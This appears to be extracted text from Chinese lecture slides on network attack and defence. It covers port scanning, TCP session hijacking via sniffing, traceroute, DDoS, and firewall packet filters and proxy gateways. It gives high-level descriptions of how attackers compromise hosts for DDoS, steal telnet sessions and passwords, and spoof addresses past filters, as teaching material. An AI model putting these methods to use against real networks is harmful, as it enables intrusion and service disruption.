TCP,连接规程与端口扫描,(1)TCP,连接扫描,(2)TCP,同步扫描,(3)UDP,扫描,:,此种技术是往目标端口发送一个,UDP,分组。,如果目标端口是以一个“,ICMP,端口不可达”,消息来作为响应,那么说明该端口是关闭的;相反,如果没有收到这个消息那就可以推断该端口是打开着。,TCP,连接扫描是调用套接口函数连接到目标端口上。图示出传输控制连接的三次路握手过程,.,TCP,同步扫描也称为“半打开扫描,因为并没有建立完整的,TCP,连接,这种技术的优势是比完整的,TCP,连接更隐秘,而且目标系统可能不登记它。它很容易被目标系统检测到。,93,UDP/TCP,主要应用的已知端口号,端口号,UDP,应用,端口号,TCP,应用,7,9,53,61,68,69,161,162,返回,(echo),服务器,丢弃,(discard),服务器,域名,(DNS),服务器,动态主机配置协议,(DHCP),服务器,动态主机配置协议,(DHCP),客户,简单文件传送协议,(TFTP),简单网络管理协议,(SNMP),数据,简单网络管理协议,(SNMP),控制信息,20,21,23,25,53,80,110,111,119,文件传送协议,(FTP),数据,文件传送协议,(FTP),控制信息,远程登录,(TELNET),简单邮件传送协议,(SMTP),域名系统,(DNS),超文本传送协议,(HTTP),主站,(HOST office),协议,远程呼叫,(RPC),网络新闻传送协议,(NNTP),94,8.3.4 TCP,数据传输,与,TCP,会话劫持,网卡一旦处于随意模式,嗅探程序软件就能捕获并分析本地以太网段上流动的任何分组,.,如果攻击者使用的网络设备处于与网络运行中心之间的某个共享网络媒体上,那么他们能够窥探这个链路上发生的所有连接,并盗用其中的,telnet,会话或,Cisco,路由器上的,enable,密码,还能提交有待在远程系统上执行的命令,95,TCP,的分组格式,控制域名,各个比特的意义,URG,ACK,PSH,RST,SYN,FIN,紧急指针域有意义,接收确认号域有意义,启动了,PUSH,功能,对连接复位,对序列号同步,结束使用的连接,TCP,控制域各个比特的意义,96,8,.4,基于,TCP,与,ICMP,分组组合的网络攻击和防御,8.4.1,网络的路径跟踪原理,8.4.2,分布式拒绝服务攻击,97,利用,IP,中继点数限制查询最近的服务器,首先,,PC,机将中继点数限制的初值设置为,1,并发送查询信息,(,这里查询服务器,),,此最初的查询信息到达两个路由器,(12),虽未被抛弃,但任何一个路由器都没有提供所需的服务。,PC,机启动定时器等待应答,定时器超时后重发查询信息。然后将中继点数限制的初值设置为,2,,结果搜索范围扩大到四个路由器,(1,,,2,,,3,,,4),,但在此范围内还是没有服务器。在下一个超时后,,PC,机再次进行查询,这次将中继点数限制的初值设置为,3,。此次查询到服务器,1,。此服务器对请求作出应答,,PC,机结束搜索。不再访问第,4,个中继点和第,5,个中继点上的其他服务器。,98,路径跟踪程序工作原理,(1),路径跟踪程序如何探测出除最后一跳外的其余各跳,首批发出的探测分组,(,每批,3,个,),的,TTL,字段为,1,,以后逐批增加,1,,直到探测到目的系统为止。,每批探测分组依次探测到达目的系统的路径的一跳。,当某一个设备转发一个分组时,该设备是该分组的路由器,或者说该设备路由了该分组。,按照分组与路由器的关系,除了最后一跳为目的系统外,其余各跳都是探测分组的路由器,它们将途经的每一个探测分组的,TTL,字段减,1,。,把,TTL,字段减为,0,的那台路由器丢弃相应的探测分组,并返送一个,ICMP,超时信息。,路径跟踪程序根据返送的,ICMP,超时信息判断出除最后一跳外的其余各跳。,99,路径跟踪程序工作原理,(2),路径跟踪程序如何探测出最后一跳,如果到达目的系统的探测分组是,ICMP,回应请求分组,那么目的系统必然返送一个,ICMP,回应应答分组,路径跟踪程序根据返送的,ICMP,回应应答分组判断出最后一跳。,如果到达目的系统的探测分组是,UDP,分组,那么只要目标端口是关闭的,它就返送一个“,ICMP,端口不可达”的消息,路径跟踪程序根据返送的“,ICMP,端口不可达”的消息判断出最后一跳。,不过使用固定端口号的,UDP,分组探测时,存在一个“黑洞”:在目标端口是打开的情况下,目的系统在侦听探测分组,目标端口不会返送任何,ICMP,消息,于是路径跟踪程序会没完没了地一批批发出探测分组。不固定端口号的,UDP,分组探测不存在永久的”黑洞”,因为探测分组的端口号在逐批加,1,。,100,分布式拒绝服务攻击,(,DDoS,),所谓,DDoS,攻击是将一大堆,IP,分组发往目标网络或主机,以企图耗尽其资源。,DDoS,的特点是攻击来自多个地方,其方法是攻陷因特网上多个计算机系统。上图示出了使多个受害计算机系统汇成总攻的说明,:(1),第一步是瞄准并获得尽可能多的系统管理员访问权,使他们的系统成为受到攻击者控制的傀儡。这是通过寻找其配置系统或软件的脆弱点实现的。,(2),第二步是安装服务器程序至远程被攻陷的系统上。一旦获得了系统的访问权,攻击者就会将其分布式拒绝服务攻击工具上传。一般,DDoS,软件,有客户端和服务器端的组件两部分组成,,,允许攻击者安装服务器程序至远程的被攻陷的系统上,然后在客户端上使用简单的命令,就可发起完整的分布式拒绝服务攻击,。,101,8.5,基于网络防御设备的网络攻防模型,为了叙述方便把具有一定防御能力的网络防御设备连接起来作为网络攻防模型。为了评估网络攻防模型的防御能力和便于叙述网络攻防原理,这里把,网络攻防模型划分为简化的、改进的、比较完整的和完整的四种类型,。下面在简介,防火墙三种防御机制,的基础上分别叙述这四种网络攻防模型的工作原理。,102,8.5,基于网络防御设备的网络攻防模型,8.5.1,防火墙防御机制简介,8.5.2,简化的网络攻防模型,8.5.3,改进的网络攻防模型,8.5.4,比较完整的网络攻防模型,8.5.5,完整的网络攻防模型,8.5.6,无线局域网攻防模型,103,8.5.1,防火墙防御机制简介,防火墙是执行安全任务的最关键的部件,本节简介,防火墙三种防御机制,1.,信息包过滤器,(Packet filters),是由一系列,通过或阻塞信息包的规则,组成的文本文件。,2.,代理服务器,是在内部系统和外部系统之间创建一个完全的中断,3.,电路层,网关,(circuit-level gateways),代理服务器,创建一个完全的中断用来检查准备进入内部网络或来自内部网络的每一个消息包,以便决定放行或阻塞,4.,应用层网关,(Application-level gateway),代理服务器,应用层网关,在应用层层次上监控信息包,是按整个消息分析数据,而不是按个别信息包分析数据。如果消息内含好的和怀恶意数据,代理服务器能够使用规则或过滤器加以区分,104,1.,防火墙,(Firewall),的功能,防火墙担当阻碍可能的恶意行为,但是用于安全网络和不安全网络之间的通信通道仍然是打开的,。,最初,一个防火墙由一个单一机器或“盒子”组成,现在把一个位于内部网络和因特网之间的设防主机称作防火墙,。,105,防火墙的功能,使用监控器、过滤器,检查入站和出站的通信量并创建阻碍点,执行安全策略,。例如,安全策略规定为:只能由因特网邮件服务器转送,SMTP,通信量。强制防火墙对准这个策略,把互联网行为记入日志,。借助于防火墙的记录服务,安全管理员能够,监控所有入站和出站的接入服务,。,限制网络的暴露,。防火墙也能通过隐藏内部系统和来自公众的信息等手段,增强机密性。,106,2.,防火墙的组成,(1),信息包过滤器,(Packet filters),是防御的第一道防线,(2),网关,(Gateways),是在两台装置之间提供替代服务的系统。可以把处理两台主机之间通信量的防火墙网关归属到像公共网关接口,(Common Gateway Interface,,,CGI),那样一类的因特网应用程序。,(3),非军事区,(demilitarized zones,,,DMZ),是内部网络和外部网络之间的网络。为了进一步使内部秘密网络与公众网络隔离,把附加的缓冲区用作非军事区。路由器一般开始和结束于非军事区,107,3.,信息包过滤器,(Packet filters),在防火墙的策略中,信息包过滤器是防御的第一道防线,能够按照预先规定的内容检查每一个信息包的装置称作信息包过滤器防火墙,信息包过滤器是由一系列通过或阻塞信息包的规则组成的文本文件。,信息包过滤器读包含规则的文件,然后依据一系列通过或阻塞的规则确定信息包去留,。,信息包过滤器最好的处理规则是限制确定的,IP,地址进入或离开内部网络,的,TCP,和,UDP,应用程序,108,信息包过滤筛选,信息包过滤器能够用于筛选全部应用程序或网络的标识。例如,一个信息包过滤器能够限制所有进入指定主机的入站通信量。这种限制将能在内部网络范围内防止黑客与任何其他主机的接触。,筛选路由器必须同时使用内部和公众网络的路由表进行配置,。这些路由表显示了部分的内部网络到外部世界的连接。,109,筛选路由器的弱点,信息包过滤器捕获的,IP,地址信息是表面的数值。,如果信息包通过所有的控制规则,那么它将发送到目的地。,如果黑客采取哄骗手段,把黑客自己的源地址替代过滤器筛选规则允许的源地址,那么属于黑客的信息包也会顺利通过防火墙的审查,并转发到黑客预定的目标主机。,110,(3),信息包筛选示例,规则序号,动作,源,IP,地址,目标,IP,地址,源端,口号,目标,端口号,协议,1,允许,192.168.10.0,*,*,21,TCP,2,阻塞,*,192.168.10.0,20,1024,TCP,3,允许,*,192.168.10.0,20,TCP,规则,1:,允许使用网络地址为,192.168.10.0,的主机与端口号为,21,号的任何目标,IP,地址开始,TCP,会话,.,规则,2:,阻塞使用源端口号为,20,的任何远程地址与网络地址为,192.168.10.0,端口号小于,1024,的主机之间联系的任何信息包,.,如果任何信息包符合规则,2,条件,那么过滤器将立即丢弃,并且规则,3,将从不执行,.,规则,3:,允许使用源端口号为,20,的任何远程地址与网络地址为,192.168.10.0,任何端口号的主机之间联系。,111,4.,电路层网关代理服务器的传输处理,当内部系统向因特网发送一连串信息包时,那么传输处理开始,信息包首先送到电路层网关,经核对后转送到因特网,如果信息包没有违反任何规则,那么电路层网关把与源同样的信息包转送到因特网,在因特网上存在的信息包源自电路层网关的外部端口,IP,地址,这个地址也接受任何回答信号,112,电路层网关特点,1.,电路层网关代理服务器是防火墙的第二种防御机制。,2.,在因特网和内部网之间,电路层网关担当一个,IP,地址的翻译器。它传输入站和出站的网络信息包,在网络层上屏蔽内部网络的,IP,地址,与因特网隔离,3.,电路层网关,在,电路层层,次上监控信息包,,是按个别信息包分析数据。如果包内含好的和怀恶意数据,代理服务器能够使用规则或过滤器加以区分,113,5.,应用层网关代理服务器,在防火墙的策略中,应用层网关,(Application-level gateway),代理服务器是防火墙的第三种防御机制。,应用层网关,在应用层层次上监控信息包,是按整个消息分析数据,而不是按个别信息包分析数据。如果消息内含好的和怀恶意数据,代理服务器能够使用规则或过滤器加以区分,114,5.,应用层网关代理服务器的传输处理,代理服务器接收,TCP/IP,连
展开阅读全文